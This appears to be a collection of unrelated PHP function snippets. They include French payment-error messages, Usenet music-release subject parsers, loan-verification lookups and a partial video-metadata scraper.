'<p style=\"margin-top:1px;\">Conserver la carte, conditions spéciales</p>';\n break;\n \n case \"08\":\n return '<p style=\"margin-top:1px;\">Approuver après identification</p>';\n break;\n \n case \"12\":\n return '<p style=\"margin-top:1px;color:red;\">Transaction invalide</p>';\n break;\n \n case \"13\":\n return '<p style=\"margin-top:1px;color:red;\">Montant invalide</p>';\n break;\n \n case \"14\":\n return '<p style=\"margin-top:1px;color:red;\">Numéro de porteur invalide</p>';\n break;\n \n case \"15\":\n return '<p style=\"margin-top:1px;color:red;\">Emetteur de carte inconnu</p>';\n break;\n \n case \"17\":\n return '<p style=\"margin-top:1px;color:red;\">Annulation acheteur</p>';\n break;\n \n case \"19\":\n return '<p style=\"margin-top:1px;\">Répéter la transaction ultérieurement</p>';\n break;\n \n case \"20\":\n return '<p style=\"margin-top:1px;color:red;\">Réponse erronée (erreur dans le domaine serveur)</p>';\n break;\n \n case \"24\":\n return '<p style=\"margin-top:1px;\">Mise à jour de fichier non supportée</p>';\n break;\n \n case \"25\":\n return '<p style=\"margin-top:1px;\">Impossible de localiser l’enregistrement dans le fichier</p>';\n break;\n \n case \"26\":\n return '<p style=\"margin-top:1px;\">Enregistrement dupliqué, ancien enregistrement remplacé</p>';\n break;\n \n case \"27\":\n return '<p style=\"margin-top:1px;\">Erreur en « edit » sur champ de liste à jour fichier</p>';\n break;\n \n case \"28\":\n return '<p style=\"margin-top:1px;\">Accès interdit au fichier</p>';\n break;\n \n case \"29\":\n return '<p style=\"margin-top:1px;\">Mise à jour impossible</p>';\n break;\n \n case \"30\":\n return '<p style=\"margin-top:1px;\">Erreur de format</p>';\n break;\n \n case \"31\":\n return '<p style=\"margin-top:1px;color:red;\">Identifiant de l’organisme acquéreur inconnu</p>';\n break;\n \n case \"33\":\n return '<p style=\"margin-top:1px;color:red;\">Date de validité de la carte dépassée</p>';\n break;\n \n case \"34\":\n return '<p style=\"margin-top:1px;color:red;\">Suspicion de fraude</p>';\n break;\n \n case \"38\":\n return '<p style=\"margin-top:1px;color:red;\">Date de validité de la carte dépassée</p>';\n break;\n \n case \"41\":\n return '<p style=\"margin-top:1px;color:red;\">Carte perdue</p>';\n break;\n \n case \"43\":\n return '<p style=\"margin-top:1px;color:red;\">Carte volée</p>';\n break;\n \n case \"54\":\n return '<p style=\"margin-top:1px;color:red;\">Date de validité de la carte dépassée</p>';\n break;\n \n case \"55\":\n return '<p style=\"margin-top:1px;color:red;\">Code confidentiel erroné</p>';\n break;\n \n case \"58\":\n return '<p style=\"margin-top:1px;color:red;\">Transaction non permise à ce porteur</p>';\n break;\n \n case \"61\":\n return '<p style=\"margin-top:1px;color:red;\">Montant de retrait hors limite</p>';\n break;\n \n case \"63\":\n return '<p style=\"margin-top:1px;color:red;\">Règles de sécurité non respectées</p>';\n break;\n \n case \"68\":\n return '<p style=\"margin-top:1px;color:red;\">Réponse non parvenue ou reçue trop tard</p>';\n break;\n \n case \"75\":\n return '<p style=\"margin-top:1px;color:red;\">Nombre d’essais code confidentiel dépassé</p>';\n break;\n \n case \"76\":\n return '<p style=\"margin-top:1px;color:red;\">Porteur déjà en opposition, ancien enregistrement conservé</p>';\n break;\n \n case \"90\":\n return '<p style=\"margin-top:1px;color:red;\">Arrêt momentané du système</p>';\n break;\n \n case \"91\":\n return '<p style=\"margin-top:1px;color:red;\">Émetteur de cartes inaccessible</p>';\n break;\n \n case \"94\":\n return '<p style=\"margin-top:1px;color:red;\">Transaction dupliquée</p>';\n break;\n \n case \"96\":\n return '<p style=\"margin-top:1px;color:red;\">Mauvais fonctionnement du système</p>';\n break;\n \n case \"97\":\n return '<p style=\"margin-top:1px;color:red;\">Échéance de la temporisation de surveillance globale</p>';\n break;\n \n case \"98\":\n return '<p style=\"margin-top:1px;color:red;\">Serveur indisponible routage réseau demandé à nouveau</p>';\n break;\n \n case \"99\":\n return '<p style=\"margin-top:1px;color:red;\">Incident domaine initiateur</p>';\n break;\n\n case \"ERRORTYPE\":\n return '<p style=\"margin-top:1px;\">Erreur verifVadsOperationType() type non défini.</p>';\n break;\n\n default;\n return 'Erreur '.$data;\n break;\n\n }\n\n }", "public function sounds_lossless()\n\t{\n\t\tif (preg_match('/^http:\\/\\/dream-of-usenet\\.org .+? - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Rush - Sector One 24-96 (000/229] - \".nzb\" yEnc\n\t\t//Stevie Ray Vaughan - Couldn't Stand the Weather (01/19] - \".sfv\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9]+.+? - .+?)\\s+\\(\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk07073 - [18/26] - \"1990 Santana - Spirits Dancing In The Flesh (flac).part17.rar\" yEnc\n\t\tif (preg_match('/^trtk\\d+ - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //COMPLETE REPOST Magma - NMR - 1974 - Wurdah Itah [01 of 23] \"1974 - Wurdah Itah.par2\" yEnc\n\t\tif (preg_match('/^COMPLETE REPOST (.+? - )NMR -( \\d{4}) - (.+?) \\[\\d+ of \\d+\\] \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1] . $match[3] . \"(\" . $match[2] . \")\";\n\t\t} //Sensation - VA - Source Of Light (2CD 2012) [02 of 67] - \"00 - Sensation - VA - Source Of Light (2CD 2012) [nmr].txt\" yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - VA - .+?) \\[\\d+ of \\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Ryan McGarvey - Forward In Reverse [01/21] - \"00 - Ryan Mcgarvey - Forward in Reverse.nfo\" yEnc\n\t\t//JFC - The Timerewinder (NMR) [01/15] - \"00 - The Timerewinder.nfo\" yEnc\n\t\t//The Brothers Johnson - 1981 - Winners (2011 expanded remastered) [01/31] - \"01 - The Real Thing.flac\" yEnc\n\t\t//Jermaine Jackson - 1980 - Let's Get Serious [00/23] - \"Jermaine Jackson - 1980 - Let's Get Serious.nzb\" yEnc\n\t\tif (preg_match('/^([A-Z0-9][A-Za-z0-9 ]{2,} -( \\d{4} -)? [A-Z0-9].+?( \\(.+?\\))?) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Miles Davis - In A Silent Way (1969) [2013 - HDTracks 24-176,4] - \"iasw24-176.par2\" yEnc\n\t\t//Bob James & David Sanborn - Quartette Humaine (2013) [HDTracks 24-88,2] - \"qh24-88.par2\" yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - [A-Z0-9].+? \\(\\d{4}\\) \\[.*?HDTracks.+?\\]) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Sonny Landreth - 2010 - Mississippi Blues - 04 of 29 - 00 - Mississippi Blues.sfv yEnc\n\t\t//Fruteland Jackson - 1996 - ... Is All I Crave - 08 of 20 - 00 - Fruteland Jackson - ... Is All I Crave.log yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - \\d{4} - .+?) - \\d+ of \\d+ - \\d+ - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(VA - Cafe Del Mar Dreams 5-2012-Samfie Man) [37/38] - \"VA - Cafe Del Mar Dreams 5-2012-Samfie Man.vol063+040.par2\" yEnc\n\t\tif (preg_match('/^\\((VA - .+?)\\) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(152092XA20) [08/16] - \"Guns and Roses - Use Your Illusion I - 08-Back Off Bitch.flac\" yEnc\n\t\tif (preg_match('/^\\([A-Z0-9]+\\) \\[\\d+\\/\\d+\\] - \"(.+?) - \\d+-.+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eros_Ramazzotti-Eros-IT-CD-FLAC-1997-FADA[04/26] - \"00-eros_ramazzotti-eros-1997-fada.sfv\" yEnc\n\t\tif (preg_match('/^([\\w-]{5,})\\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//.: VA-Liquid_Music-The_Future_House_Compilation-CD-FLAC-1993-WRS :. - .:www.thunder-news.org:. - .:sponsored by secretusenet.com:. - \"00-va-liquid_music-the_future_house_compilation-cd-flac-1993-wrs.nfo\" yEnc\n\t\t//.:Bruce_BecVar-Arriba-CD-FLAC-1993-JLM:. - .:thunder-news.org:. - .:sponsored by secretusenet.com:. - \"00-bruce_becvar-arriba-cd-flac-1993.m3u\" yEnc\n\t\tif (preg_match('/^.:[-_\\s]{0,3}(.+?)[-_\\s]{0,3}:..+?thunder-news\\.org.+?secretusenet\\.com:. - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //_ \"CARUSO & GIGLI - O Sole Mio - The Unknown.nzb\" yEnc\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//\"Art Tatum - The Complete Trio Sessions with Tiny Grimes & Slam Stewart - Vol 1.NFO\" - 1 of 6 (1/1)\n\t\t//\"Galen Jeter and the Dallas Jazz Orchestra - Thank You, Leon.NFO\" - 1 of 5 (1/1) (1/1)\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\d+ (of \\d+)( \\(\\d+\\/\\d+\\)){1,2} (yEnc)?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Doc Watson - 1973 - The Essential Doc Watson - 01 - Tom Dooley.flac\" - 406.64 MB - yEnc\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function bnk_analytics(){\r\n\tglobal $smof_data;\r\n\tif ( $smof_data['bnk_ga_code'] != '') {\r\n\techo stripslashes($smof_data['bnk_ga_code']) ;\r\n\t}\r\n}", "function viewCrawCiCvRemarks($type,$capno,$process){\r\n\t\t\t$cv = new Model_BorrowerCv();\r\n\t\t\t$select = $cv->select();\r\n\t\t\t$select->where('capno like ?',$capno);\r\n\t\t\t$cvDetail = $cv->fetchRow($select);\r\n\t\t\t\r\n\t\t\t$ci = new Model_BorrowerCi();\r\n\t\t\t$select = $ci->select();\r\n\t\t\t$select->where('capno like ?',$capno);\r\n\t\t\t$ciDetail = $ci->fetchRow($select);\r\n\t\t\t\r\n\t\t\tif($process == 'cv'){\r\n\t\t\t\t\r\n\t\t\t\tswitch($type){\r\n\t\t\t\t\tcase 'emp':\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\treturn $cvDetail->empver2.' '.$cvDetail->remarks_empver; \t\t\t\t\t\t\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'bus':\r\n\t\t\t\t\treturn $cvDetail->busver2.' '.$cvDetail->remarks_busver; \t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'trade':\r\n\t\t\t\t\treturn $cvDetail->trdchk2.' '.$cvDetail->remarks_trdchk;\t\t\t\t\t\t\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'background':\r\n\t\t\t\t\treturn $cvDetail->backgrd.' '.$cvDetail->remarks_backgrd;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'income':\r\n\t\t\t\t\treturn $cvDetail->income.' '.$cvDetail->remarks_income;\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\r\n\t\t\tif($process == 'ci'){\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tswitch($type){\r\n\t\t\t\t\t\t\t\tcase 'emp':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->empver_ci2.' '.$ciDetail->remarks_empver_ci;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcase 'bus':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->busver_ci2.' '.$ciDetail->remarks_busver_ci;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcase 'trade':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->trdchk_ci2.' '.$ciDetail->remarks_trdchk_ci;\t\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcase 'background':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->backgrd_ci.' '.$ciDetail->remarks_backgrd_ci;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcase 'income':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->income_ci.' '.$ciDetail->remarks_income_ci;\r\n\t\t\t\t\t\t\t\tbreak;\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcase 'appraisal':\r\n\t\t\t\t\t\t\t\treturn $ciDetail->remarks_appraisal;\r\n\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t}\r\n\r\n\t}", "public function isEmbargoed();", "function extractHoldingLibraryCode($data){\r\n\t$instHref = '<a href=\"/institutions/';\r\n\t$start \t = strpos($data, $instHref) + strlen($instHref);\r\n\r\n\t$libCode = \"[code:\";\r\n\t$libCode .= strtoupper(substr($data, $start, 3)); //pull the actual code\r\n\t$libCode .= \"]\";\r\n\r\n\techo \"\\n\" . $libCode . \"\\n\";\r\n\treturn $libCode;\r\n}", "function use_codepress()\n {\n }", "public function getCode() {\n\n $licence = '/*\n * Auto Generated Code for HomeNet\n *\n * Copyright (c) 2011 HomeNet.\n *\n * This file is part of HomeNet.\n *\n * HomeNet is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * HomeNet is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with HomeNet. If not, see <http ://www.gnu.org/licenses/>.\n */';\n return $licence;\n }", "protected function checkvideocontent($html) {\n\t\t$title='';\n\t\t$description='';\n\n\t\t$type='';\n\t\t$videotype='';\n\t\t$videotype='';\n\t\t$site_name='';\n\n\t\t$videoUrl='';\n\t\t$thumbnailUrl='';\n\t\t$embedUrl='';\n\t\t$return= '';\n\t\t$metasplits = array();\n\t\t$metasplits['og:url'] ='og:url\" content=\"';//http://www.youtube.com/watch?v=a6Yqa23LS9c\">\n\t\t$metasplits['og:title'] ='og:title\" content=\"'; //Argon Sphere vs Shogan - Space Traveler\">\n\t\t$metasplits['og:description'] ='og:description\" content=\"'; //Album: VA - 2 Sides Of Moon Subscribe for more psytrance music.\">\n\t\t$metasplits['og:type'] ='og:type\" content=\"'; //video\">\n\t\t$metasplits['og:image'] ='og:image\" content=\"'; //http://i2.ytimg.com/vi/a6Yqa23LS9c/mqdefault.jpg\">\n\t\t$metasplits['og:video'] ='og:video\" content=\"'; //http://www.youtube.com/v/a6Yqa23LS9c?autohide=1&amp;version=3\">\n\t\t$metasplits['og:video:url'] ='og:video:url\" content=\"https'; //www.youtube.com/v/a6Yqa23LS9c?autohide=1&amp;version=3\">\n\t\t$metasplits['og:video:type'] ='og:video:type\" content=\"'; //application/x-shockwave-flash\">\n\t\t$metasplits['og:video:width'] ='og:video:width\" content=\"'; //640\">\n\t\t$metasplits['og:video:height'] ='og:video:height\" content=\"'; //480\">\n\t\t$metasplits['og:site_name'] ='og:site_name\" content=\"'; //YouTube\">\n\t\t$metasplits['itemprop.url'] ='itemprop=\"url\" href=\"'; //http://www.youtube.com/watch?v=a6Yqa23LS9c\">\n\t\t$metasplits['itemprop.name'] ='itemprop=\"name\" content=\"'; //Argon Sphere vs Shogan - Space Traveler\">\n\t\t$metasplits['itemprop.description'] ='itemprop=\"description\" content=\"'; //Album: VA - 2 Sides Of Moon Subscribe for more psytrance music.\">\n\t\t$metasplits['itemprop.thumbnailUrl'] ='itemprop=\"thumbnailUrl\" href=\"'; //http://i2.ytimg.com/vi/a6Yqa23LS9c/hqdefault.jpg\">\n\t\t$metasplits['itemprop.embedURL'] ='itemprop=\"embedURL\" href=\"'; //http://www.youtube.com/v/a6Yqa23LS9c?autohide=1&amp;version=3\">\n\t\t$metasplits['itemprop.playerType'] ='itemprop=\"playerType\" content=\"'; //Flash\">\n\t\t$metasplits['itemprop.playpageUrl'] ='itemprop=\"playpageUrl\" content=\"'; //http://vimeo.com/15556391\">\n\t\t$metasplits['itemprop.video'] ='itemprop=\"video\" itemscope itemtype=\"'; //\n\n\t\t//check HTML5\n\t\t$html5vidogg='';\n\t\t$html5vidmp4='';\n\t\t$html5vidwebm='';\n\t\tif ($this->conf['attachments.']['useFlowPlayer']= 1) {\n\t\t\t$htmlvidarr = explode('<video', $html);\n\t\t\tif (count($htmlvidarr)>1) {\n\t\t\t\t$htmlvidarrvid = explode('.ogg', $htmlvidarr[1]);\n\t\t\t\tif (count($htmlvidarrvid)>1) {\n\t\t\t\t\t$html5vidogg = $htmlvidarrvid[0] . '.ogg';\n\t\t\t\t}\n\n\t\t\t\t$htmlvidarrvid = explode('.mp4', $htmlvidarr[1]);\n\t\t\t\tif (count($htmlvidarrvid)>1) {\n\t\t\t\t\t$html5vidmp4 = $htmlvidarrvid[0] . '.mp4';\n\t\t\t\t}\n\n\t\t\t\t$htmlvidarrvid = explode('.webm', $htmlvidarr[1]);\n\t\t\t\tif (count($htmlvidarrvid)>1) {\n\t\t\t\t\t$html5vidwebm = $htmlvidarrvid[0]. '.webm';\n\t\t\t\t}\n\n\t\t\t\tif ($html5vidogg!='') {\n\t\t\t\t\t$html5vidarr = explode('src=', $html5vidogg);\n\t\t\t\t\tif (count($html5vidarr)>1) {\n\t\t\t\t\t\t$html5vidogg = $html5vidarr[count($html5vidarr)-1];\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($html5vidmp4!='') {\n\t\t\t\t\t$html5vidarr = explode('src=', $html5vidmp4);\n\t\t\t\t\tif (count($html5vidarr)>1) {\n\t\t\t\t\t\t$html5vidmp4 = $html5vidarr[count($html5vidarr)-1];\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($html5vidwebm!='') {\n\t\t\t\t\t$html5vidarr = explode('src=', $html5vidwebm);\n\t\t\t\t\tif (count($html5vidarr)>1) {\n\t\t\t\t\t\t$html5vidwebm = $html5vidarr[count($html5vidarr)-1];\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($html5vidogg!='') {\n\t\t\t\t\tif (strpos($html5vidogg, 'http')===FALSE) {\n\t\t\t\t\t\t//add base dir\n\t\t\t\t\t\tif ($this->urlsubpath!=''){\n\t\t\t\t\t\t\tif (strpos(($this->urlhomearrstr . $html5vidogg), $this->urlsubpath)===FALSE) {\n\t\t\t\t\t\t\t\t$html5vidogg=$this->urlhomearrstr . $this->urlsubpath . $html5vidogg;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$html5vidogg=$this->urlhomearrstr . $html5vidogg;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$html5vidogg=$this->urlhomearrstr . $html5vidogg;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t$html5vidogg=str_replace('\"', '', $html5vidogg);\n\t\t\t\tif ($html5vidmp4!='') {\n\t\t\t\t\tif (strpos($html5vidmp4, 'http')===FALSE) {\n\t\t\t\t\t\t//add base dir\n\t\t\t\t\t\tif ($this->urlsubpath!=''){\n\t\t\t\t\t\t\tif (strpos(($this->urlhomearrstr . $html5vidmp4), $this->urlsubpath)===FALSE) {\n\t\t\t\t\t\t\t\t$html5vidmp4=$this->urlhomearrstr . $this->urlsubpath . $html5vidmp4;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$html5vidmp4=$this->urlhomearrstr . $html5vidmp4;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$html5vidmp4=$this->urlhomearrstr . $html5vidmp4;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t$html5vidmp4=str_replace('\"', '', $html5vidmp4);\n\t\t\t\tif ($html5vidwebm!='') {\n\t\t\t\t\tif (strpos($html5vidwebm, 'http')===FALSE) {\n\t\t\t\t\t\t//add base dir\n\t\t\t\t\t\tif ($this->urlsubpath!=''){\n\t\t\t\t\t\t\tif (strpos(($this->urlhomearrstr . $html5vidwebm), $this->urlsubpath)===FALSE) {\n\t\t\t\t\t\t\t\t$html5vidwebm=$this->urlhomearrstr . $this->urlsubpath . $html5vidwebm;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$html5vidwebm=$this->urlhomearrstr . $html5vidwebm;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$html5vidwebm=$this->urlhomearrstr . $html5vidwebm;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t$html5vidwebm=str_replace('\"', '', $html5vidwebm);\n\n\t\t\t\t$thumbnailUrl=$html5vidogg . '@@@' . $html5vidmp4 . '@@@' .$html5vidwebm . '@@@';\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['embedUrl'] = $thumbnailUrl;\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['videotype'] = $videotype;\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['totalcounter'] = 1;\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['logo'] = $thumbnailUrl;\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['videosite'] = '';\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['urlfound'] = $_SESSION[$this->cid][$this->commentid]['url'];\n\t\t\t\t$_SESSION[$this->cid][$this->commentid]['urltext'] = $_SESSION[$this->cid][$this->commentid]['url'];\n\t\t\t\t$return = 'found';\n\t\t\t}\n\t\t}\n\n\t\tif (($html5vidogg=='') && ($html5vidmp4=='') && ($html5vidwebm=='')) {\n\t\t\t$metakeys=array();\n\t\t\t$j=0;\n\t\t\tforeach ($metasplits as $metasplit) {\n\t\t\t\t$tagcontent='';\n\t\t\t\t$htmlvidarr = explode($metasplit, $html);\n\t\t\t\tif (count($htmlvidarr)>1) {\n\t\t\t\t\t$tagcontentarr = explode('\">', $htmlvidarr[1]);\n\t\t\t\t\t$tagcontent=$tagcontentarr[0];\n\t\t\t\t\t$propertyval= $metasplit;\n\t\t\t\t\t$propertyval = str_replace ('\" content=\"', '', $propertyval);\n\t\t\t\t\t$propertyval = str_replace ('\" itemscope itemtype=\"', '', $propertyval);\n\t\t\t\t\t$propertyval = str_replace ('\" href=\"', '', $propertyval);\n\t\t\t\t\t$propertyval = str_replace ('=\"', '.', $propertyval);\n\t\t\t\t}\n\n\t\t\t\tif ($tagcontent!=''){\n\t\t\t\t\t$metakeys[$propertyval]=$tagcontent;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif (count($metakeys)>0) {\n\t\t\t\t//$type\n\t\t\t\tif (array_key_exists('og:type', $metakeys)) {\n\t\t\t\t\tif($metakeys['og:type'] =='video') {\n\t\t\t\t\t\t$type='video';\n\t\t\t\t\t}\n\n\t\t\t\t} elseif (array_key_exists('itemprop.video', $metakeys)) {\n\t\t\t\t\tif($metakeys['itemprop.video'] =='http://schema.org/VideoObject') {\n\t\t\t\t\t\t$type='video';\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($type=='video') {\n\t\t\t\t\t//$description\n\t\t\t\t\tif (array_key_exists('og:description', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:description'] !='') {\n\t\t\t\t\t\t\t$description=$metakeys['og:description'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('itemprop.description', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['itemprop.description'] !='') {\n\t\t\t\t\t\t\t$description=$metakeys['itemprop.description'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//$title\n\t\t\t\t\tif (array_key_exists('og:title', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:title'] !='') {\n\t\t\t\t\t\t\t$title=$metakeys['og:title'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('itemprop.name', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['itemprop.name'] !='') {\n\t\t\t\t\t\t\t$title=$metakeys['itemprop.name'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//$videotype\n\t\t\t\t\tif (array_key_exists('og:video:type', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:video:type']!='') {\n\t\t\t\t\t\t\t$videotype=$metakeys['og:video:type'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//site_name\n\t\t\t\t\tif (array_key_exists('og:site_name', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:site_name'] !='') {\n\t\t\t\t\t\t\t$site_name=$metakeys['og:site_name'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('itemprop.name', $metakeys)) {\n\t\t\t\t\t\tif (strlen($metakeys['itemprop.name']) <10) { //Vimeo\n\t\t\t\t\t\t\t$site_name=$metakeys['itemprop.name'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//thumbnailUrl\n\t\t\t\t\tif (array_key_exists('itemprop.thumbnailUrl', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['itemprop.thumbnailUrl'] !='') {\n\t\t\t\t\t\t\t$thumbnailUrl=$metakeys['itemprop.thumbnailUrl'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('og:image', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:image'] !='') {\n\t\t\t\t\t\t\t$thumbnailUrl=$metakeys['og:image'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//embedUrl\n\t\t\t\t\tif (array_key_exists('og:video', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['og:video'] !='') {\n\t\t\t\t\t\t\t$embedUrl=$metakeys['og:video'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('itemprop.embedURL', $metakeys)) {\n\t\t\t\t\t\tif ($metakeys['itemprop.embedURL'] !='') {\n\t\t\t\t\t\t\t$embedUrl=$metakeys['itemprop.embedURL'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t//$videoUrl\n\t\t\t\t\tif (array_key_exists('og:url', $metakeys)) {\n\t\t\t\t\t\tif(strpos($metakeys['og:url'], 'ttp:') > 0) {\n\t\t\t\t\t\t\t$videoUrl=$metakeys['og:url'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif 